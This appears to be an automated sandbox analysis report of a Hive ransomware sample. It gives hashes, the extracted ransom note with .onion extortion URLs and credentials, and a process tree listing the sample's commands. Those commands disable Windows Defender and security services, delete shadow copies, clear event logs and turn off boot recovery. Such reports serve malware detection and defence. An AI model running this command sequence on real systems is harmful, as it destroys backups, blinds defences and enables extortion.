Resubmissions

22/01/2025, 09:38

250122-lmelbazrfn 10

22/11/2021, 10:55

211122-m1hessacf4 10

Analysis

  • max time kernel
    145s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22/01/2025, 09:38

General

  • Target

    12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe

  • Size

    2.7MB

  • MD5

    feb8f145c403b56d85ef7c662f169428

  • SHA1

    45fbb554666bffa433eed118cd6fcbd069b3fa25

  • SHA256

    12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be

  • SHA512

    a69260bc132bc17607e48cafcd8278484e0ea4a7ad8d11559560b4589f4016aeae8dce89451735494860f4085098e20de400e4bfd189e7a6f7a61981299bc281

  • SSDEEP

    49152:w+bUJqQ5lrb/T1vO90dL3BmAFd4A64nsfJj3y8pYeTmGS1NDDCqYzPr8bg11Vgjg:nbs5O3y8BTlz0i4JxOww

Malware Config

Extracted

Path

C:\Program Files\BKFP_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: MU6miDRbaLqn Password: sAF5rTMdamZ3cbgVLiDY To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.4v5et files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Disables service(s) 3 TTPs
  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Hive family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
    "C:\Users\Admin\AppData\Local\Temp\12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2592
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:2320
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2308
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:1740
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1812
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:3028
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2604
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:3052
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2620
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:2660
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2744
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:2768
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2808
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:2888
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2656
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:2784
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2352
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2548
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2988
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2676
                    • C:\Windows\system32\sc.exe
                      sc.exe config "UI0Detect" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2568
                    • C:\Windows\system32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2528
                    • C:\Windows\system32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2584
                    • C:\Windows\system32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2992
                    • C:\Windows\system32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                      • Modifies Security services
                      PID:1408
                    • C:\Windows\system32\reg.exe
                      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      2⤵
                        PID:324
                      • C:\Windows\system32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        2⤵
                        • Modifies Windows Defender DisableAntiSpyware settings
                        PID:1924
                      • C:\Windows\system32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                        2⤵
                          PID:1744
                        • C:\Windows\system32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                          2⤵
                            PID:1268
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2572
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2032
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:580
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2580
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:1964
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:752
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:1292
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                2⤵
                                  PID:2716
                                • C:\Windows\system32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:2848
                                  • C:\Windows\system32\reg.exe
                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:1724
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:1912
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                        2⤵
                                          PID:2852
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                          2⤵
                                            PID:2956
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                            2⤵
                                              PID:2860
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                              2⤵
                                                PID:1460
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                2⤵
                                                  PID:2240
                                                • C:\Windows\system32\reg.exe
                                                  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                  2⤵
                                                    PID:2144
                                                  • C:\Windows\system32\reg.exe
                                                    reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:2192
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                      2⤵
                                                        PID:1532
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                        2⤵
                                                          PID:408
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:1100
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:2412
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:836
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:1604
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:2336
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:1620
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies security service
                                                              PID:1736
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:1660
                                                            • C:\Windows\system32\vssadmin.exe
                                                              vssadmin.exe delete shadows /all /quiet
                                                              2⤵
                                                              • Interacts with shadow copies
                                                              PID:992
                                                            • C:\Windows\system32\wevtutil.exe
                                                              wevtutil.exe cl system
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1560
                                                            • C:\Windows\system32\wevtutil.exe
                                                              wevtutil.exe cl security
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2912
                                                            • C:\Windows\system32\wevtutil.exe
                                                              wevtutil.exe cl application
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1804
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe SHADOWCOPY /nointeractive
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2376
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe shadowcopy delete
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3016
                                                            • C:\Windows\system32\bcdedit.exe
                                                              bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:1172
                                                            • C:\Windows\system32\bcdedit.exe
                                                              bcdedit.exe /set {default} recoveryenabled no
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:2816
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                              2⤵
                                                                PID:2224
                                                                • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                  "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                  3⤵
                                                                  • Deletes Windows Defender Definitions
                                                                  PID:2312
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                2⤵
                                                                  PID:1740
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Set-MpPreference -DisableIOAVProtection $true
                                                                    3⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:3028
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                  2⤵
                                                                    PID:2748
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                      3⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:2644
                                                                • C:\Windows\system32\NOTEPAD.EXE
                                                                  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\BKFP_HOW_TO_DECRYPT.txt
                                                                  1⤵
                                                                  • Opens file in notepad (likely ransom note)
                                                                  PID:300

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • C:\Program Files\BKFP_HOW_TO_DECRYPT.txt

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  b6b8cc6d06ad1f1d600ea83d5d047717

                                                                  SHA1

                                                                  9a702319932fc88a46cbb03be129ead42be82903

                                                                  SHA256

                                                                  e12798393cd3714b7bc4a7ef9eb6249ee6614d9f6e5da7a2fd9e3b7dfac78435

                                                                  SHA512

                                                                  261d23f484cde2ede1c5d4e5743b711e4110c36951af81152b6d9acfc6c92ca129dd1271fabc2da4064c32096d460884f4b07986ddf085ac15644f9d41975144

                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                  Filesize

                                                                  7KB

                                                                  MD5

                                                                  f9c7a4484f3f5d81cb956278f01b28b6

                                                                  SHA1

                                                                  d806de96ed9d4e5e66a42147e6af0e240ad3cbe8

                                                                  SHA256

                                                                  1b0ecb2acf565cc0b3792ae96cf4151270e4aa2e217ddf9798928c4739feb3ab

                                                                  SHA512

                                                                  1131195e41531e55d101ed57558dbcda3accb2948a50946c44036d0794e8f6dc2cde2a4b0f6666eaa47408863f218e49c9508a8758d4ab62b091caff9d550721

                                                                • memory/2644-14-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

                                                                  Filesize

                                                                  2.9MB

                                                                • memory/2644-15-0x0000000002250000-0x0000000002258000-memory.dmp

                                                                  Filesize

                                                                  32KB

                                                                • memory/3028-7-0x000000001B890000-0x000000001BB72000-memory.dmp

                                                                  Filesize

                                                                  2.9MB

                                                                • memory/3028-8-0x0000000001E80000-0x0000000001E88000-memory.dmp

                                                                  Filesize

                                                                  32KB